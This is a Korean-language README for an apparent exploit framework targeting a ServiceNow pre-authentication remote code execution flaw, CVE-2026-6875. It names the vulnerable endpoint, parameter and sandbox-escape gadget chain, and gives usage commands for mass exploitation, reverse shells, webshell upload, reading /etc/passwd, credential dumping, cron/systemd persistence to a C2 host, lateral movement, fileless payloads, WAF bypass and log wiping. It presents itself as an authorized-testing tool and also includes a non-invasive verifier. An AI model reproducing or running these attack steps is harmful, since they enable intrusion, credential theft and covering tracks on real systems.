
CVE-2026-6875 ServiceNow 사전 인증 RCE 프레임워크 🔥 JS 인젝션 → 샌드박스 탈출 → RCE → 루트. 기능: --detect, --exec, 역방향/대화형 셸, 배치 스레딩, WAF 우회, 지속성, 측면 이동, 자격 증명 덤프, 파일리스 실행, 추적 정리. 🛡️ CVSS 9.5 적극적으로 악용됨. 승인 및 법적 사용 전용. 법을 준수하세요. 🔒

익스플로잇 프레임워크 및 안전 확인기
인가된 보안 테스트 전용입니다.
이 도구는 교육 및 인가된 침투 테스트 목적으로만 제공됩니다.
저자와 기여자는 이 소프트웨어의 오용이나 손해에 대해 책임을 지지 않습니다. 사용자는 테스트 대상 소유자의 명시적 서면 허가를 받았는지 전적으로 확인해야 합니다. 무단 액세스는 컴퓨터 사기 및 남용법(CFAA) 및 전 세계 유사 법률에 따라 불법입니다.
이 소프트웨어를 사용함으로써 다음에 동의하는 것으로 간주됩니다:
⚠️ 경고: 이 취약점은 현재 실제 환경에서 적극적으로 악용되고 있습니다. 무단 사용은 심각한 법적 결과를 초래할 수 있습니다.
CVE-2026-6875는 ServiceNow AI Platform(이전 Now Platform)의 중요한 인증되지 않은 원격 코드 실행(RCE) 취약점입니다. 공격자는 스크립트 샌드박스를 우회하고 ServiceNow 애플리케이션의 권한으로 임의의 시스템 명령을 실행할 수 있습니다.
JavaScript 인젝션: assessment_thanks.do 엔드포인트는 sysparm_assessable_type 매개변수를 허용합니다. 값 앞에 javascript:를 붙여 공격자는 임의의 JavaScript 코드를 주입합니다.
샌드박스 탈출: 정교한 샌드박스 탈출 가젯(DiscoveryFunctions.getCacheObjectForTable, AbstractAjaxProcessor, Class.create 체이닝)이 JavaScript 샌드박스 제한을 해제합니다.
원격 코드 실행: 주입된 Java 코드(java.lang.Runtime.exec() 경유)가 ServiceNow 애플리케이션 권한으로 실행되어 시스템 전체를 장악할 수 있습니다.
권한 상승: 사후 악용 모듈은 sudo 오설정, SUID 바이너리, 쓰기 가능한 크론 작업 또는 커널 익스플로잇을 통해 root로 권한을 상승시키려 시도합니다.
| 속성 | 값 |
|---|---|
| 📅 발견일 | 2026년 4월 1일 (Searchlight Cyber) |
| ⚠️ CVSS 점수 | 9.5 (CRITICAL) |
| 📋 CISA KEV | 2026년 7월 13일 추가됨 |
| 🎯 영향받는 제품 | 자체 호스팅 ServiceNow AI Platform |
| 🔄 수정된 버전 | Brazil EA/GA, Australia Patch 2, Zurich Patch 7b/9, Yokohama Patch 12 Hot Fix 1b/13 |
| 🔓 인증 필요 여부 | 필요하지 않음 (사전 인증) |
| 🌍 실제 악용 | 실제 환경에서 확인됨 (2026년 7월) |
exploit.py)완전 무장 익스플로잇은 JavaScript 인젝션과 샌드박스 탈출을 연결하여 원격 코드 실행을 달성하며, 지속성, 측면 이동, 자격 증명 덤프를 위한 고급 사후 악용 모듈을 포함합니다.
| 기능 | 설명 |
|---|---|
| 🚀 JavaScript 인젝션 | sysparm_assessable_type 매개변수를 통해 페이로드 주입 |
| 💻 샌드박스 탈출 | ServiceNow 스크립트 샌드박스를 우회하여 임의 Java 코드 실행 |
| 🔐 대화형 셸 | 여러 명령을 지원하는 라이브 셸 생성 |
| 👑 Root 권한 상승 | sudo 오설정, SUID 바이너리, 크론 작업 확인 |
| 📁 파일 작업 | 웹셸 업로드, base64 인코딩을 통한 파일 읽기/다운로드 |
| 🌐 일괄 스캔 | 스레딩을 사용한 여러 대상 대량 익스플로잇 (-l 플래그) |
| 🎯 안전 탐지 | 비침습적 취약점 확인을 위한 선택적 --detect 플래그 |
| ⚙️ WAF 우회 | WAF/IDS 우회 내장 기술 (6가지 기법) |
| 🧩 지속성 | 크론/systemd/schtasks 백도어 설치 |
| 🔍 측면 이동 | 로컬 네트워크 내 다른 취약한 호스트 스캔 및 SSH/SSRF 전파 시도 |
| 🧹 추적 제거 | 로그, bash 기록, 감사 추적 삭제 |
| 💾 파일리스 실행 | Java ClassLoader를 사용하여 디스크에 쓰지 않고 메모리 내 페이로드 실행 |
| 🔌 콜백 서버 | 명령 출력 수신을 위한 내장 HTTP 서버 (선택 사항) |
| 📢 웹훅 알림 | 사용자 정의 URL로 결과 전송 (Slack, Discord 등) |
| 🪟 크로스 플랫폼 | Linux 및 Windows 대상 지원 (cmd.exe / PowerShell) |
| 🔒 스레드 안전 | 동시 작업을 위한 잠금 메커니즘 사용 |
| 📊 버전 탐지 | ServiceNow 버전 탐지 (Zurich/Brazil/Australia/Yokohama) |
| 명령어 | 설명 |
|---|---|
exec <cmd> | 시스템 명령 실행 |
upload <local> [remote] | 대상에 웹셸 업로드 |
download <remote> | 파일 내용 다운로드 및 표시 |
privesc | 권한 상승 시도 |
reverse <host> <port> | 리버스 셸 전송 |
dumpcred | ServiceNow 설정에서 자격 증명 덤프 |
persist <host> <port> | 지속성 설치 (cron/systemd/schtasks) |
lateral | 측면 이동 시도 |
clean | 추적 제거 (로그, 기록) |
memory <host> <port> | 파일리스 Java 페이로드 실행 |
exit | 대화형 셸 종료 |
verifier.py)안전 확인기는 유해한 페이로드를 실행하거나 시스템 변경을 가하지 않고 비침습적 취약점 탐지를 수행합니다.
| 기능 | 설명 |
|---|---|
| 🔍 ServiceNow 탐지 | 여러 엔드포인트를 통해 ServiceNow 인스턴스 식별 |
| 📊 버전 탐지 | 특정 ServiceNow 릴리스 및 패치 수준 탐지 |
| 🧪 JavaScript 인젝션 테스트 | 안전한 gs.print() 페이로드를 사용한 인젝션 취약점 테스트 |
| 🔒 샌드박스 탈출 테스트 | 파괴적 명령 없이 샌드박스 탈출 확인 |
| 📈 신뢰도 점수 | 증거에 기반한 신뢰도 백분율 제공 (85–95%) |
| 📋 JSON 출력 | 보고용 JSON 형식으로 결과 내보내기 |
| 🔄 대량 스캔 | 스레딩 지원으로 여러 대상 스캔 |
| 🎯 비침습적 | 시스템 정보를 위해 양성 uname -a만 실행 |
pip (requests 라이브러리용)pip install requests urllib3
[!NOTE]
exploit.py는 핵심 기능에 표준 라이브러리만 사용합니다.requests는--detect기능,--webhook알림 및 안전 확인기에서만 필요합니다.
verifier.py)# 단일 대상 확인
python verifier.py -u 192.168.1.100
# 사용자 정의 포트 및 경로
python verifier.py -u 10.0.0.5 -p 8443 --path /snow
# 파일에서 대량 스캔
python verifier.py -l targets.txt -o results.json
# 조용한 모드 (취약한 대상만 출력)
python verifier.py -u 192.168.1.100 -q
# 느린 대상에 대한 타임아웃 증가
python verifier.py -u servicenow.example.com --timeout 60
# 사용자 정의 User-Agent
python verifier.py -u 192.168.1.100 --user-agent "MyScanner/1.0"
exploit.py)# 대상에서 대화형 셸 실행
python exploit.py -u 192.168.1.100
# 단일 명령 실행
python exploit.py -u 192.168.1.100 --exec "id && whoami"
# 파일 읽기
python exploit.py -u 192.168.1.100 --read-file /etc/passwd
# 악용 전 탐지 활성화
python exploit.py -u 192.168.1.100 --detect
# root 권한 상승 시도
python exploit.py -u 192.168.1.100 --privesc
# 웹셸 업로드
python exploit.py -u 192.168.1.100 --upload shell.jsp
# C2로 지속성 설치
python exploit.py -u 192.168.1.100 --persistence --c2-host 10.0.0.5 --c2-port 4444
# 악용 후 추적 제거
python exploit.py -u 192.168.1.100 --clean
# 파일리스(메모리) 페이로드 사용
python exploit.py -u 192.168.1.100 --fileless --c2-host 10.0.0.5 --c2-port 4444
# 파일에서 대량 악용 (50개 스레드)
python exploit.py -l targets.txt -m 50 --exec "uname -a"
# 사용자 정의 콜백 서버 포트
python exploit.py -u 192.168.1.100 --callback-port 9090
# WAF 우회 기술 활성화
python exploit.py -u 192.168.1.100 --waf-bypass
# 웹훅으로 알림 전송
python exploit.py -u 192.168.1.100 --webhook https://myhook.com/snow
# 파이프 모드 (stdin에서 명령 읽기)
echo "cat /etc/hosts" | python exploit.py -u 192.168.1.100
# 사용자 정의 포트 및 경로
python exploit.py -u 10.0.0.5 -p 8443 --path /snow
# TLS 검증 비활성화 (자체 서명 인증서용)
python exploit.py -u 192.168.1.100 --insecure-tls
# 사용자 정의 타임아웃 및 재시도
python exploit.py -u 192.168.1.100 -t 60 -r 5 -d 2.0
| ServiceNow 릴리스 | 취약한 버전 | 수정된 버전 |
|---|---|---|
| Brazil | EA, GA | 패치됨 (GA 이후) |
| Australia | Patch 2 이전 | Patch 2+ |
| Zurich | Patch 7b, Patch 9 이전 | Patch 7b, Patch 9+ |
| Yokohama | Patch 12 Hot Fix 1b 이전 | Patch 12 Hot Fix 1b, Patch 13 |
| 기타 릴리스 | 알 수 없음 | 공식 권고 확인 |
⚠️ 중요: ServiceNow Cloud 인스턴스는 자동으로 패치됩니다. 이 취약점은 주로 자체 호스팅 배포에 영향을 미칩니다.
취약점은 sysparm_assessable_type 매개변수를 허용하는 assessment_thanks.do 엔드포인트에 있습니다. javascript:로 시작하는 값을 제공하면 플랫폼이 시스템 컨텍스트 내에서 후속 JavaScript를 평가합니다.
취약한 엔드포인트: